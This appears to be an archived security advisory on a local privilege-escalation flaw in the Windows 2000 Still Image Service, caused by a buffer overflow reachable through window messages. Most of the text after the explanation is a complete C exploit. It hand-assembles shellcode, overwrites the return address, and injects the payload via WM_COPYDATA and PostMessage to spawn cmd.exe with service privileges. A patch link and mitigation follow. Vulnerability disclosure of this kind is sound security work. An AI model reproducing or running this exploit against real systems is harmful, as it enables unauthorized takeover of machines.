COMMAND
Still Image Service
SYSTEMS AFFECTED
Windows 2000
PROBLEM
Following is based on a @stake Security Advisory by DilDog. The
Still Image Service contains programming errors that uncover a
class of attacks on services. This vulnerability allows
unauthorized local privilege elevation.
The Still Image Service that comes with Windows 2000 is vulnerable
to a particular class of attack that stems from the Windows GDI's
poor notion of GDI object permissions. In this particular
instance, a service creates a window on the logged-on user's
desktop that responds to a number of WM_USER messages via
PostMessage(). The window procedure resides in the service
process, and can hence be controlled to some extent by the
logged-on user. There exists a buffer overflow condition in one
of the WM_USER messages.
Way back when, the GDI in Windows NT 3.5 was not yet placed in
the kernel, and no one worried about permissions on GDI objects.
When the GDI was moved into the kernel, a number of system objects
were created to support permissions on GDI objects, such as window
stations and desktops. One particular case where better
permissions on GDI objects could be used is on windows. The
window object supports several operations, notably 'PostMessage',
'SendMessage', and others. GDI window handles are not process
specific, and they can easily be obtained for any window created
on the logged-on user's desktop via 'FindWindow'.
Once a handle to a window is obtained, two operations are of
interest. 'SendMessage' calls the window procedure associated
with the window directly (in most cases note: that WM_COPYDATA is
an exception to this), and hence it can only be called by
processes that actually have the window procedure mapped in their
process space. The 'PostMessage' function pushes the message
into the window procedure's message queue for processing at a
later point. This allows cross-process communication with window
messages. Even to processes of higher privilege level.
Because no distinction is made between which messages can 'posted'
versus which can be 'sent', for windows messages above 'WM_USER',
one can never define a windows message that contains a pointer,
regardless of how it is intended to be handled.
This vulnerability exists in the Windows Still Image Service, but
the problem is more universal, and may affect any or all other
services that create windows on the logged-on user's desktop
(visible, or invisible).
The proof-of-concept code follows:
#include <windows.h>
#define EXPSIZE (520+1024)
//#define STACKTOP (0x0070FF58) // for StiSvc version 5.0.2134.1 in Win2K
//#define BUFFERLOC (0x0070FCB0)
#define STACKTOP (0x0071FF58) // for StiSvc version 5.0.2134.1 in Win2K SP1
#define BUFFERLOC (0x0071FCB0)
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
{
char funky[EXPSIZE];
memset(funky,0x90,EXPSIZE);
funky[EXPSIZE-2]=(char)0;
funky[EXPSIZE-1]=(char)0;
// Write code
HMODULE hKernel=GetModuleHandle("kernel32.dll");
// funky[0x0]=(char)0xCC;
funky[0x4]=(char)0x81;
funky[0x5]=(char)0xC4;
funky[0x6]=(char)0x04;
funky[0x7]=(char)0xFC;
funky[0x8]=(char)0xFF;
funky[0x9]=(char)0xFF;
funky[0x10]=(char)0xB8;
*(DWORD *)(&(funky[0x11]))=~(DWORD)GetProcAddress(hKernel,"WinExec");
funky[0x15]=(char)0xF7;
funky[0x16]=(char)0xD0;
funky[0x17]=(char)0x6A;
funky[0x18]=(char)0x03;
funky[0x19]=(char)0xBB;
*(DWORD *)(&(funky[0x1A]))=~(DWORD)(BUFFERLOC+0x30);
funky[0x1E]=(char)0xF7;
funky[0x1F]=(char)0xD3;
funky[0x20]=(char)0x53;
funky[0x21]=(char)0xFF;
funky[0x22]=(char)0xD0;
funky[0x23]=(char)0xB8;
*(DWORD *)(&(funky[0x24]))=~(DWORD)GetProcAddress(hKernel,"ExitProcess");
funky[0x28]=(char)0xF7;
funky[0x29]=(char)0xD0;
funky[0x2A]=(char)0xFF;
funky[0x2B]=(char)0xD0;
funky[0x2C]=(char)0xCC;
funky[0x2D]=(char)0xCC;
funky[0x2E]=(char)0xCC;
funky[0x2F]=(char)0xCC;
// Set string to execute
memcpy(&(funky[0x30]),"cmd.exe ",8);
// Set return addr
*(DWORD *)(&(funky[0x208]))=BUFFERLOC;
// Get NetDDE Window
HWND hwnd=FindWindow("STIExe_Window_Class","STI Monitor");
// Copy exploit code
COPYDATASTRUCT cds;
cds.cbData=sizeof(funky);
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
PostMessage(hwnd,0x4CD,0,(LPARAM)(STACKTOP-EXPSIZE));
return 0;
}
SOLUTION
Disable the Still Image Service entirely. Normally, the Still
Image Service is not running, but if one runs 'stimon.exe' as an
administrator, or attempts to install or access a local or
network scanner, digital camera, or other still image device, the
service will install itself in 'Automatic' mode and be present
every time the system boots thereafter.
Microsoft has developed a patch to solve this problem:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24200